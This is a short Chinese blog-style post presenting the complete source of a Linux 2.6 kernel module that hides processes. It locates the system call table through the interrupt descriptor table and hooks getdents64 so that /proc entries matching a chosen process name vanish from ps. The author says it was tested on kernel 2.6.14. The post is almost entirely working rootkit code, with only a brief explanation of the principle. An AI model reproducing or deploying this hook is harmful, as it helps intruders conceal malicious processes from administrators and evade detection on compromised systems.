在Linux2.6内核下实现进程隐藏

在Linux2.6内核下实现进程隐藏

很早以前的小程序，比较简单但是觉得有趣

原理很简单，Linux查看进程的命令ps是通过系统调用sys_getdents实现，sys_getdents用户获取一个指定路径下的目录条目，实际上就是枚举

/proc/　下的pid，这样我们只需要hook一下sys_getdents，把相应的要隐藏的pid信息去掉即可。
以下是LKM代码，在Linux-2.6.14测试并运行成功

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#define CALLOFF 100

//使用模块参数来定义需要隐藏的进程名
char *processname;
module_param(processname, charp, 0);
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,
flags;
unsigned short off2;
} __attribute__ ((packed)) * idt;
void** sys_call_table;
asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);
char * findoffset(char *start)
{
char *p;
for (p = start; p < start + CALLOFF; p++)
if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
return p;
return NULL;
}
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
if (*ptr < '0' || *ptr > '9')
return (-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
return (res);
}
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = get_current(),*entry=NULL;
list_for_each_entry(entry,&(p->tasks),tasks)
{
if(entry->pid == pid)
{
printk("pid found\n");
return entry;
}
}
return NULL;
}
static inline char *get_name(struct task_struct *p, char *buf)
{
int i;
char *name;
name = p->comm;
i = sizeof(p->comm);
do {
unsigned char c = *name;
name++;
i--;
*buf = c;
if (!c)
break;
if (c == '\\') {
buf[1] = c;
buf += 2;
continue;
}
if (c == '\n') {
buf[0] = '\\';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
}
while (i);
*buf = '\n';
return buf + 1;
}
int get_process(pid_t pid)
{
struct task_struct *task = get_task(pid);
char *buffer[64] = {0};
if (task)
{
get_name(task, buffer);
if(strstr(buffer,processname))
return 1;
else
return 0;
}
else
return 0;
}
asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)
{
//added by lsc for process
long value;
struct inode *dinode;
int len = 0;
int tlen = 0;
struct linux_dirent64 *mydir = NULL;
//end
　　
//在这里调用一下sys_getdents,得到返回的结果
value = (*orig_getdents) (fd, dirp, count);
tlen = value;
//遍历得到的目录列表
while(tlen > 0)
{
len = dirp->d_reclen;
tlen = tlen - len;
printk("%s\n",dirp->d_name);
　
　　　　//在proc文件系统中，目录名就是pid,我们再根据pid找到进程名　
if(get_process(myatoi(dirp->d_name)) )
{
printk("find process\n");
//发现匹配的进程，调用memmove将这条进程覆盖掉
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
value = value - len;
}
if(tlen)
dirp = (struct linux_dirent64 *) ((char *)dirp + dirp->d_reclen);
}
return value;
}
void **get_sct_addr(void)
{
unsigned sys_call_off;
unsigned sct = 0;
char *p;
asm("sidt %0":"=m"(idtr));
idt = (void *) (idtr.base + 8 * 0x80);
sys_call_off = (idt->off2 << 16) | idt->off1;
if ((p = findoffset((char *) sys_call_off)))
sct = *(unsigned *) (p + 3);
return ((void **)sct);
}
static void filter_exit(void)
{
if (sys_call_table)
sys_call_table[__NR_getdents64] = orig_getdents;
}
static int filter_init(void)
{
//得到sys_call_table的偏移地址
sys_call_table = get_sct_addr();
if (!sys_call_table) {
printk("get_act_addr(): NULL...\n");
return 0;
} else
printk("sct: 0x%x\n", (unsigned int)sys_call_table);
//将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
orig_getdents = sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64] = hacked_getdents;
return 0;
}
module_init(filter_init);
module_exit(filter_exit);
MODULE_LICENSE("GPL");